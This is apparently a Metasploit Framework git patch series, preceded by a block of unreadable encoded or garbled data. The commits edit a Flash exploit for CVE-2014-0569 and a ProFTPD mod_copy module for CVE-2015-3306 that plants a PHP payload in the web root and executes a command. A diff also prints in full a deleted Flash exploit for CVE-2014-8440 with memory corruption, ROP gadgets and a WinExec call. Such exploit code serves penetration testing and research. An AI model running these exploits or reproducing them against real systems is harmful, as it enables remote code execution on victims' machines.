zZOj?pJ1Fb>6lVBQUZ5##+Gr=g>AHa>D#KIP!tW$i7V>`IvF}7aiVoXuX};t3+Td^D zT!Z#uU^~XL@$CFLR8BX>Ys~cAwUnM2Zamz#lQ9O!llgPA4bj4(A z0uO_&kL7-F!+PSXy^K(I4;v%Q(O&OUwLBvI;!d*k!=H-IOAK7&I^-mPq594dMd+&H zJe!Z#z^|qKl_*~l75(JnJLj$}K-)fj()y=0KOxB{nAlOQ^>u%GdJRziHs8 z?pHe-7-Uhmmu7~BcRZE?ImWqd6f<=m3y$d-J&!-hqJI9Mf0tfMmM4zNg;EvvXG!#= zc`?nq1G3BWqU#5Mx-nTa$9?DSMeytd2p38J@_NmhBTyV-|I_f+t1s$mv#mD_;5x|& zhwiu+80x1Gh&HI@5(nHu_-(WQ!mxA~%BG!uRnF+x0y+N^wioK4WkbjG1q?dwANMxg zQi>uPH>bRnf0k+mA=Ya~j74eyM9uyymO85M5-2BjtD0jy5Fl?g7 zDslgG0RQ97>g4S7k;7YugD6gmvgmMJx+Gf(#mG- z?CN*w#qi`;q#N%$V{n%Z9BImo{Pg5^YZc}K`LltDOYF!NyRQn?hf5L9EY`{qFgb8l>k z)|r`+dqzS~rC?O<*IU!wFT6jOt0OXm)wKbta7|ZF*fd%QF+4-#4j#rPEQ241h?%#7 z`U!kr_51(#$aro}z>2E{RJ1HCy^3QtP-NN(e^}SdiBpNhFiWc1@7>k^*J31_C_zSX zT!~avTqk>wX`!8ad^KB*T8$m)l`V(fm^i<-yJN=En&ma1|DwJuS6vnkct^I~AEHU} zQ;Ac@pe8XK$67?d-Q9DvxU~%iO=S>hww-S)9N?fci>s6#IBen){0^bVyld*XXOs$&Ha;9(7TiU2EsKtf zn}DQp4VbTMlJ{y;;flsrmJ};HGwd=1+aYjDYB&Sm!7K`okAxwTwwqo391hklw65R| z2O8xf`PsG}cZg>Ck^P`Q+EV%nt3?e}e8oY}I@!ua)9saY_H3|0m7mNZ9;tb5su}|2ELMZAfS`xq&YrpqWJ zynLQC*8su`{9^w*aWipuLn6P{LnFhi!)wy6n6L0<34U|MILNqj0PDW@4wy6MO;nuCytAtwtk$J{*8 dzSfQD not found :(") + Logger.log("[!] Exploit - Corrupted Vector. not found") return } @@ -76,7 +76,7 @@ package for (i = 0; i < ov.length; i++) { if (ov[i].length > 1024) { uv = ov[i] - Logger.log("Vector. corrupted found :)") + Logger.log("[*] Exploit - Corrupted Vector. found") } else { ov[i] = null } diff --git a/external/source/exploits/CVE-2014-0569/Logger.as b/external/source/exploits/CVE-2014-0569/Logger.as index 61ec768c25..16c0447973 100755 --- a/external/source/exploits/CVE-2014-0569/Logger.as +++ b/external/source/exploits/CVE-2014-0569/Logger.as @@ -3,7 +3,7 @@ package import flash.external.ExternalInterface public class Logger { - private static const DEBUG:uint = 1 + private static const DEBUG:uint = 0 public static function alert(msg:String):void { From 5bab1cfc68b2777e7b2353fc3293229e315db4c4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 12:38:24 -0500 Subject: [PATCH 0363/1013] Fix indentation --- .../source/exploits/CVE-2014-0569/Exploit.as | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/external/source/exploits/CVE-2014-0569/Exploit.as b/external/source/exploits/CVE-2014-0569/Exploit.as index f6a9fe5dcc..fd7da7115f 100755 --- a/external/source/exploits/CVE-2014-0569/Exploit.as +++ b/external/source/exploits/CVE-2014-0569/Exploit.as @@ -22,10 +22,10 @@ package private var uv:Vector. private var ba:ByteArray private var b64:Base64Decoder = new Base64Decoder(); - private var payload:ByteArray - private var platform:String - private var os:String - private var exploiter:Exploiter + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter private var defrag:Vector. = new Vector.(100) private var ov:Vector. = new Vector.(200) @@ -34,13 +34,13 @@ package var i:uint = 0 var j:uint = 0 - platform = LoaderInfo(this.root.loaderInfo).parameters.pl - os = LoaderInfo(this.root.loaderInfo).parameters.os - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray() + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() for (i = 0; i < defrag.length; i++) { defrag[i] = new ByteArray() From 4f1ee3fcdf186ba69d24a0b3cc165e26f7dca92c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 12:42:32 -0500 Subject: [PATCH 0364/1013] Really fix indentation --- .../source/exploits/CVE-2014-0569/Exploit.as | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/external/source/exploits/CVE-2014-0569/Exploit.as b/external/source/exploits/CVE-2014-0569/Exploit.as index fd7da7115f..49c4e20dfd 100755 --- a/external/source/exploits/CVE-2014-0569/Exploit.as +++ b/external/source/exploits/CVE-2014-0569/Exploit.as @@ -22,10 +22,10 @@ package private var uv:Vector. private var ba:ByteArray private var b64:Base64Decoder = new Base64Decoder(); - private var payload:ByteArray - private var platform:String - private var os:String - private var exploiter:Exploiter + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter private var defrag:Vector. = new Vector.(100) private var ov:Vector. = new Vector.(200) @@ -34,13 +34,13 @@ package var i:uint = 0 var j:uint = 0 - platform = LoaderInfo(this.root.loaderInfo).parameters.pl - os = LoaderInfo(this.root.loaderInfo).parameters.os - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray() + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() for (i = 0; i < defrag.length; i++) { defrag[i] = new ByteArray() From 5ab882a8d4c2647a91e7424adb3c47cf02cf8591 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 9 Jun 2015 13:58:01 -0500 Subject: [PATCH 0365/1013] Clean up module --- .../exploits/unix/ftp/proftpd_modcopy_exec.rb | 47 ++++++++++--------- 1 file changed, 24 insertions(+), 23 deletions(-) diff --git a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb index 8d803b2338..5fc7f62908 100644 --- a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb +++ b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb @@ -6,6 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp @@ -30,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2015-3306'], + [ 'CVE', '2015-3306' ], [ 'EDB', '36742' ], ], 'Privileged' => false, @@ -57,91 +58,91 @@ class Metasploit3 < Msf::Exploit::Remote OptPort.new('RPORT', [true, 'HTTP port', 80]), OptPort.new('RPORT_FTP', [true, 'FTP port', 21]), OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']), + OptString.new('TMPPATH', [true, 'Absolute writable/executable path', '/tmp']), OptString.new('TARGETURI', [true, 'Base path to the website', '/']) ], self.class) end def check ftp_port = datastore['RPORT_FTP'] - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => ftp_port }) + sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port) if sock.nil? - fail_with(Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service") + fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server") else print_status("#{rhost}:#{ftp_port} - Connected to FTP server") end res = sock.get_once(-1,10) - unless ( res and res =~ /220/ ) + unless res && res.include?('220') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") end sock.puts("SITE CPFR /etc/passwd\r\n") res = sock.get_once(-1,10) - if res and res =~ /350/ - return Exploit::CheckCode::Vulnerable + if res && res.include?('350') + Exploit::CheckCode::Vulnerable else - return Exploit::CheckCode::Safe + Exploit::CheckCode::Safe end end def exploit - ftp_port = datastore['RPORT_FTP'] get_arg = rand_text_alphanumeric(5+rand(3)) payload_name = rand_text_alphanumeric(5+rand(3)) + '.php' - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => ftp_port }) + sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port) if sock.nil? - fail_with(Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service") + fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server") else print_status("#{rhost}:#{ftp_port} - Connected to FTP server") end res = sock.get_once(-1,10) - unless ( res and res =~ /220/ ) + unless res && res.include?('220') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") end - print_status("#{rhost}:21 - Sending copy commands to FTP server") + print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server") sock.puts("SITE CPFR /proc/self/cmdline\r\n") res = sock.get_once(-1,10) - unless ( res and res =~ /350/ ) + unless res && res.include?('350') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline") end - sock.put("SITE CPTO /tmp/.\r\n") + sock.put("SITE CPTO #{datastore['TMPPATH']}/.\r\n") res = sock.get_once(-1,10) - unless ( res and res =~ /250/ ) + unless res && res.include?('250') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file") end - sock.put("SITE CPFR /tmp/.\r\n") + sock.put("SITE CPFR #{datastore['TMPPATH']}/.\r\n") res = sock.get_once(-1,10) - unless ( res and res =~ /350/ ) + unless res && res.include?('350') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file") end sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n") res = sock.get_once(-1,10) - unless ( res and res =~ /250/ ) + unless res && res.include?('250') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?") end sock.close print_status("#{peer} - Executing PHP payload #{target_uri.path}#{payload_name}") - res = send_request_cgi!({ + res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, payload_name), 'method' => 'GET', 'vars_get' => { get_arg => "nohup #{payload.encoded} &" }, - }) + ) - unless ( res and res.code == 200 ) - fail_with(Failure::Unknown, "#{rhost}:21 - Failure executing payload") + unless res && res.code == 200 + fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload") end - end + end From cc8650f98a5d859e7d620b4fa9cb91d0c321292b Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 9 Jun 2015 14:15:18 -0500 Subject: [PATCH 0366/1013] Fix TMPPATH description --- modules/exploits/unix/ftp/proftpd_modcopy_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb index 5fc7f62908..d1de793e32 100644 --- a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb +++ b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb @@ -57,8 +57,8 @@ class Metasploit3 < Msf::Exploit::Remote [ OptPort.new('RPORT', [true, 'HTTP port', 80]), OptPort.new('RPORT_FTP', [true, 'FTP port', 21]), + OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']), OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']), - OptString.new('TMPPATH', [true, 'Absolute writable/executable path', '/tmp']), OptString.new('TARGETURI', [true, 'Base path to the website', '/']) ], self.class) end From 8a69704d3e1d8ea696ace38b396afe4224edd65a Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 9 Jun 2015 14:15:18 -0500 Subject: [PATCH 0367/1013] Fix up commas --- .../exploits/unix/ftp/proftpd_modcopy_exec.rb | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb index d1de793e32..af6965cfca 100644 --- a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb +++ b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2015-3306' ], - [ 'EDB', '36742' ], + [ 'EDB', '36742' ] ], 'Privileged' => false, 'Platform' => [ 'unix' ], @@ -43,12 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic gawk bash python perl', + 'RequiredCmd' => 'generic gawk bash python perl' } }, 'Targets' => [ - [ 'ProFTPD 1.3.5', { } ], + [ 'ProFTPD 1.3.5', { } ] ], 'DisclosureDate' => 'Apr 22 2015', 'DefaultTarget' => 0)) @@ -57,9 +57,9 @@ class Metasploit3 < Msf::Exploit::Remote [ OptPort.new('RPORT', [true, 'HTTP port', 80]), OptPort.new('RPORT_FTP', [true, 'FTP port', 21]), + OptString.new('TARGETURI', [true, 'Base path to the website', '/']), OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']), - OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']), - OptString.new('TARGETURI', [true, 'Base path to the website', '/']) + OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']) ], self.class) end @@ -73,13 +73,13 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{rhost}:#{ftp_port} - Connected to FTP server") end - res = sock.get_once(-1,10) + res = sock.get_once(-1, 10) unless res && res.include?('220') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") end sock.puts("SITE CPFR /etc/passwd\r\n") - res = sock.get_once(-1,10) + res = sock.get_once(-1, 10) if res && res.include?('350') Exploit::CheckCode::Vulnerable else @@ -100,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{rhost}:#{ftp_port} - Connected to FTP server") end - res = sock.get_once(-1,10) + res = sock.get_once(-1, 10) unless res && res.include?('220') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") end @@ -108,25 +108,25 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server") sock.puts("SITE CPFR /proc/self/cmdline\r\n") - res = sock.get_once(-1,10) + res = sock.get_once(-1, 10) unless res && res.include?('350') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline") end sock.put("SITE CPTO #{datastore['TMPPATH']}/.\r\n") - res = sock.get_once(-1,10) + res = sock.get_once(-1, 10) unless res && res.include?('250') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file") end sock.put("SITE CPFR #{datastore['TMPPATH']}/.\r\n") - res = sock.get_once(-1,10) + res = sock.get_once(-1, 10) unless res && res.include?('350') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file") end sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n") - res = sock.get_once(-1,10) + res = sock.get_once(-1, 10) unless res && res.include?('250') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?") end @@ -137,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, payload_name), 'method' => 'GET', - 'vars_get' => { get_arg => "nohup #{payload.encoded} &" }, + 'vars_get' => { get_arg => "nohup #{payload.encoded} &" } ) unless res && res.code == 200 From f4649cb3fbb735342fa67cb1b0d2b4bfbfb0314b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 14:50:59 -0500 Subject: [PATCH 0368/1013] Delete old AS --- external/source/exploits/CVE-2014-8440/Msf.as | 505 ------------------ 1 file changed, 505 deletions(-) delete mode 100755 external/source/exploits/CVE-2014-8440/Msf.as diff --git a/external/source/exploits/CVE-2014-8440/Msf.as b/external/source/exploits/CVE-2014-8440/Msf.as deleted file mode 100755 index 4497389619..0000000000 --- a/external/source/exploits/CVE-2014-8440/Msf.as +++ /dev/null @@ -1,505 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Main.as - -// It uses original code from @hdarwin89 for exploitation using ba's and vectors - -package -{ - import flash.utils.* - import flash.display.* - import flash.system.* - import mx.utils.Base64Decoder - - public final class Msf extends Sprite { - - private var shared_ba:ByteArray = null - - private var hole_ba:ByteArray = null; - private var confuse_length_ba:ByteArray = null; - private var fake_ba:ByteArray = null; - private var worker:Worker = null; - - private var byte_array_vector:Vector. = null; - private var byte_array_vector_length:int; - - private var object_vector:Vector. = null; - private var object_vector_length:uint; - - private var ba:ByteArray - private var uv:Vector. - private var corrupted_uv_index:uint = 0 - private var stack:Vector. = new Vector.(0x6400) - private var payload_space:Vector. = new Vector.(0x6400) - - private var b64:Base64Decoder = new Base64Decoder(); - private var payload:String = "" - - public function Msf() { - this.object_vector_length = 5770 * 2 - this.byte_array_vector_length = 510 * 2 - - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() - - this.initialize_worker_and_ba() - if (!this.trigger()) - { - return - } - - var index:uint = search_uint_vector(114, 0x40000000) - if (index == 0xffffffff) { - return - } - - this.uv = this.object_vector[this.corrupted_uv_index] - - // Use the corrupted Vector to search saved addresses - var object_vector_pos:uint = search_object_vector() - var byte_array_object:uint = this.uv[object_vector_pos] - 1 - var main:uint = this.uv[object_vector_pos + 2] - 1 - var stack_object:uint = this.uv[object_vector_pos + 3] - 1 - var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1 - - // Locate the corrupted Vector in memory - // It allows arbitrary address memory read/write - var ba_address:uint = search_ba_address() - if (ba_address == 0xffffffff) { - return - } - var uv_address:uint = ba_address + index - this.uv[0] = uv_address - - // Use the corrupted Vector to disclose arbitrary memory - var buffer_object:uint = vector_read(byte_array_object + 0x40) - var buffer:uint = vector_read(buffer_object + 8) - var stack_address:uint = vector_read(stack_object + 0x18) - var payload_address:uint = vector_read(payload_space_object + 0x18) - var vtable:uint = vector_read(main) - - // Set the new ByteArray length - ba.endian = "littleEndian" - ba.length = 0x500000 - - // Overwite the ByteArray data pointer and capacity - var ba_array:uint = buffer_object + 8 - var ba_capacity:uint = buffer_object + 16 - vector_write(ba_array) - vector_write(ba_capacity, 0xffffffff) - - // restoring the corrupted vector length since we don't need it - // anymore - this.uv[0] = 0xfeedbabe - //index = search_uint_vector(0xffffffff, 114) - index = search_uint_vector(0x40000000, 114) - if (index == 0xffffffff) { - return - } - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - - final private function initialize_worker_and_ba():Boolean{ - this.ba = new ByteArray() - this.ba.endian = "littleEndian" - this.ba.length = 1024 - this.ba.writeUnsignedInt(0xdeedbeef) - this.ba.position = 0 - - this.shared_ba = new ByteArray() - this.shared_ba.shareable = true - this.shared_ba.endian = Endian.LITTLE_ENDIAN - this.shared_ba.writeUnsignedInt(252536) - this.shared_ba.writeUnsignedInt(16777216) - - this.confuse_length_ba = new ByteArray() - this.confuse_length_ba.length = 0x2000 - this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN - this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA) - - this.fake_ba = new ByteArray(); - this.fake_ba.endian = Endian.LITTLE_ENDIAN; - - this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes); - return true; - } - - final private function trigger():Boolean{ - // Memory massaging - // 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba) - this.fill_byte_array_vector(); - // 2. Clear the marked ByteArray - this.hole_ba.clear(); - - // The shared_ba should be left in "shared" state - this.worker.setSharedProperty("fnfre", this.shared_ba) - this.worker.setSharedProperty("vfhrth", this.confuse_length_ba) - this.worker.setSharedProperty("vfhrth", this.shared_ba) - - // fake_ba *data* is going to fill the space freed from the hole - this.fake_ba.length = 0x2000; - this.fill_byte_array(this.fake_ba, 0xBBBBBBBB); - - // Trigger the vulnerability, if the memory layout is good enough - // the (freed) hole_ba metadata will end being the shared_ba metadata... - this.shared_ba.uncompress() - - // So its size should be 0x2000 - if (this.shared_ba.length != 0x2000) - { - return false - } - - // Free the fake_ba and make holes on the ByteArray's - // allocated on massaging. - this.free_fake_and_make_holes() - - // Fill the holes and the fake_ba data space with - // vectors - this.fill_with_vectors() - - // Hopefully the shared_ba metadata, product of the vulnerability - // at this moment point to the vectors in memory =) it means - // game over. - var pwn_test:uint; - this.shared_ba.position = 0; - pwn_test = this.shared_ba.readUnsignedInt(); - - if (pwn_test == 0xBBBBBBBB) - { - return false - } - - return true; - } - - final private function fill_byte_array(local_ba:ByteArray, value:int):void{ - var i:int; - local_ba.position = 0; - i = 0; - while (i < (local_ba.length / 4)) - { - local_ba.writeInt(value); - i++; - }; - local_ba.position = 0; - } - - final private function fill_byte_array_vector():void{ - var i:int; - var local_ba:ByteArray; - this.byte_array_vector = new Vector.(this.byte_array_vector_length) - - i = 0; - - while (i < this.byte_array_vector_length) - { - local_ba = new ByteArray(); - this.byte_array_vector[i] = local_ba; - local_ba.endian = Endian.LITTLE_ENDIAN; - i++; - } - - var hole_index:int = this.byte_array_vector_length * 4 / 5; - if (hole_index % 2 == 0) - { - hole_index++; - } - - for(i = 0; i < this.byte_array_vector_length; i++) - { - local_ba = this.byte_array_vector[i] as ByteArray - local_ba.length = 0x2000 - this.fill_byte_array(local_ba, 0xCCCCCCCC) - local_ba.writeInt(0xbabefac0) - local_ba.writeInt(0xbabefac1) - local_ba.writeInt(i) - local_ba.writeInt(0xbabefac3) - if (i == hole_index) - { - this.hole_ba = local_ba; - } - } - - return; - } - - final private function free_fake_and_make_holes():void { - var i:int - var clear_ba:ByteArray - var hole_index:int = this.byte_array_vector_length * 4 / 5 - - if (hole_index % 2 == 0) - { - hole_index++; - } - - for (i = 0; i < this.byte_array_vector_length; i++) - { - if (i == hole_index) { - this.fake_ba.clear(); - } else { - if (i % 2 == 1) - { - clear_ba = this.byte_array_vector[i] as ByteArray - this.fill_byte_array(clear_ba, 0xDDDDDDDD) - clear_ba.clear() - } - } - } - return - } - - final private function fill_with_vectors():void { - var i:uint; - var uint_vector:Vector.; - var objects:Vector.; - this.object_vector = new Vector.(this.object_vector_length); - - i = 0 - while (i < this.object_vector_length) - { - if (i % 2 == 0) { - this.object_vector[i] = new Vector.() - } else { - this.object_vector[i] = new Vector.() - } - i++ - } - - i = 0 - while (i < this.object_vector_length) - { - if (i % 2 == 0) { - uint_vector = this.object_vector[i] as Vector. - uint_vector.length = 114 - uint_vector[0] = 0xfeedbabe - uint_vector[1] = i - uint_vector[2] = 0xbabeface - } else { - objects = this.object_vector[i] as Vector. - objects.length = 114 - objects[0] = this.ba - objects[1] = i - objects[2] = this - objects[3] = this.stack - objects[4] = this.payload_space - } - i++ - } - } - - // Use the corrupted shared_ba to search and corrupt the uint vector - // Returns the offset to the *length* of the corrupted vector - private function search_uint_vector(old_length:uint, new_length:uint):uint { - this.shared_ba.position = 0 - var i:uint = 0 - var length:uint = 0 - var atom:uint = 0 - var mark_one:uint = 0 - var index:uint = 0 - var mark_two:uint = 0 - while (i < 0x2000) { - length = shared_ba.readUnsignedInt() - if (length == old_length) { - atom = shared_ba.readUnsignedInt() - mark_one = shared_ba.readUnsignedInt() - index = shared_ba.readUnsignedInt() - mark_two = shared_ba.readUnsignedInt() - if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) { - shared_ba.position = i - shared_ba.writeUnsignedInt(new_length) - this.corrupted_uv_index = index - return i; - } - i = i + 16 - } - i = i + 4 - } - return 0xffffffff - } - - // Use the corrupted shared_ba to disclose its own address - private function search_ba_address():uint { - var address:uint = 0 - this.shared_ba.position = 0x14 - address = shared_ba.readUnsignedInt() - if (address == 0) { - address = 0xffffffff - this.shared_ba.position = 8 - var next:uint = shared_ba.readUnsignedInt() - var prior:uint = shared_ba.readUnsignedInt() - if (next - prior == 0x8000) { - address = prior + 0x4000 - } - } else { - address = address - 0x30 - } - - return address - } - - // Use the corrupted uint vector to search an vector with - // interesting objects for info leaking - private function search_object_vector():uint { - var i:uint = 0; - while (i < 0x4000){ - if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) { - return i + 1; - } - i++ - } - return 0xffffffff - } - - // Methods to use the corrupted uint vector - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > this.uv[0]) { - pos = ((addr - this.uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 - } - - this.uv[pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > this.uv[0]) { - pos = ((addr - this.uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 - } - - return this.uv[pos] - } - - // Methods to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} From cf8c6b510b1c80c18186be685df2f9b4feafb0ff Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 15:46:21 -0500 Subject: [PATCH 0369/1013] Debug version working --- data/exploits/CVE-2014-8440/msf.swf | 